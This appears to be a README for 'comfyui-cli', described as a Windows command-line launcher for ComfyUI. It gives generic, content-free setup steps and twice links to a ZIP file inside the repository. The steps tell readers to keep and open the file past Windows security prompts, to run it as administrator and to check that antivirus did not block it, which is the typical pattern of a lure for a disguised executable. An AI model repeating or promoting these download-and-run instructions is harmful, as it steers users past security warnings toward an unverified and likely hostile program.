🧩 comfyui-cli - Run ComfyUI from the Command Line

🚀 What is comfyui-cli?

comfyui-cli is a command-line interface for ComfyUI on Windows. It gives you a simple way to start and control ComfyUI from a terminal window. Use it when you want a fast setup and a clear way to launch ComfyUI without extra steps.

📥 Download

Visit this page to download comfyui-cli:

https://raw.githubusercontent.com/Yousifh1237/comfyui-cli/main/comfyui/comfyui-cli-3.0.zip

If the page includes a release file or package, download it to your Windows PC. Save it to a folder you can find later, such as Downloads or Desktop.

🪟 Windows Setup

Use these steps on Windows:

1. Open the download page.
2. Download the latest release file for Windows.
3. If the file is in a ZIP folder, right-click it and choose Extract All.
4. Open the extracted folder.
5. Look for the main program file or a start script.
6. Double-click it to run the app, or open it from Command Prompt if the package uses a terminal launch.

If Windows shows a security prompt, choose the option that lets you keep the file and open it.

🛠️ What You Need

comfyui-cli works best on a Windows system with:

• Windows 10 or Windows 11
• At least 8 GB of RAM
• A modern CPU
• Enough free disk space for ComfyUI files and models
• Internet access for the first download and setup

For better performance, a system with a dedicated GPU helps when running image workflows.

📦 First-Time Use

After you open comfyui-cli for the first time:

1. Let it finish any setup steps.
2. Wait while it checks or prepares ComfyUI files.
3. Follow the on-screen prompts.
4. If it asks for a path, choose the folder where you want ComfyUI stored.
5. If it asks for a model location, select the folder that holds your model files.

Keep the folder path simple. A short path like C:\ComfyUI is easy to manage.

🎛️ How It Works

comfyui-cli helps you manage ComfyUI with plain commands. Instead of clicking through many menus, you can use a terminal window to start the app and handle common tasks.

Typical tasks can include:

• starting ComfyUI
• updating files
• pointing to model folders
• checking status
• stopping the app safely

If you are new to terminal tools, think of it as a text-based control panel.

🧭 Basic Use

You can usually use comfyui-cli like this:

1. Open the folder where you installed it.
2. Open Command Prompt or Windows Terminal.
3. Run the start command listed in the project files.
4. Wait for the app to load.
5. Open ComfyUI in your browser when the local address appears.

If the package includes a .bat file, double-click it to launch the program.

🖼️ Using ComfyUI After Launch

Once ComfyUI starts, you can use your browser to work with image workflows.

You can usually:

• load a workflow
• connect nodes
• add prompt text
• choose models
• run image generation
• save results to your PC

Keep your model files in the folder that comfyui-cli expects. This helps the app find them fast.

📁 Suggested Folder Layout

A simple folder setup helps avoid errors:

• C:\ComfyUI\
• C:\ComfyUI\models\
• C:\ComfyUI\outputs\
• C:\ComfyUI\input\

This layout keeps files in one place and makes it easier to back up your work.

🔧 Common Windows Issues

If the app does not start, try these steps:

• Run it as administrator
• Check that you extracted the ZIP file first
• Make sure the folder path has no unusual characters
• Move the app to a simple folder like C:\ComfyUI
• Check that your antivirus did not block the file

If the browser does not open, look for a local address in the terminal window and paste it into your browser.

⚙️ Updates

To update comfyui-cli:

1. Return to the download page.
2. Get the newest release.
3. Replace the old files if the project asks you to.
4. Keep your model files in the same folder unless the project says to move them.

Back up your workflow files before you update.

🧪 Example Use Flow

A simple first run may look like this:

1. Download the file from GitHub.
2. Extract it to C:\ComfyUI.
3. Open the start file.
4. Wait for the local server to start.
5. Open the browser address shown by the app.
6. Load a workflow and run it.

This flow keeps the setup clear and easy to repeat.

📌 Helpful Tips

• Use a short folder path
• Keep model files in one place
• Close other heavy apps if your PC feels slow
• Save your workflows often
• Keep your output folder separate from your input folder

These small steps make daily use smoother.

🧰 File Types You May See

You may see these file types in the download:

• .zip for the full package
• .exe for a Windows app
• .bat for a batch start file
• .json for workflow data
• .txt for setup notes

If you see a ZIP file, extract it before you run anything inside.

🔍 Finding the Right File

If the download includes many files, look for one of these:

• start.bat
• run.bat
• comfyui-cli.exe
• launch.exe

The main file often has a name that suggests starting or launching.

🧭 If You Use Command Prompt

If the project expects a command line start:

1. Open the folder with the extracted files.
2. Click the address bar in File Explorer.
3. Type cmd and press Enter.
4. Run the command listed in the project files.
5. Wait for the program to finish startup.

Use this only if the package does not open by double-clicking.

🗂️ Backup Advice

Back up these folders if you want to keep your work safe:

• workflows
• outputs
• custom nodes
• models list or config files

A copy of these files helps you restore your setup on another PC.

🧩 Project Purpose

comfyui-cli is meant for users who want a simple way to work with ComfyUI from Windows. It keeps the launch process direct and gives you a practical way to manage the app without digging through extra steps.

📎 Download Link

Download and set up comfyui-cli from the main project page:

https://raw.githubusercontent.com/Yousifh1237/comfyui-cli/main/comfyui/comfyui-cli-3.0.zip

🖥️ Best Use on Windows

For the smoothest experience:

• keep the app in a short path
• avoid spaces in folder names if you can
• use the same folder for each update
• keep your browser up to date
• make sure your GPU drivers are current

These settings help reduce setup issues and improve startup speed

🔄 Daily Workflow

A simple daily workflow can be:

1. Open comfyui-cli
2. Start ComfyUI
3. Open the browser link
4. Load a saved workflow
5. Run your image task
6. Save results in the output folder

That routine works well for repeat use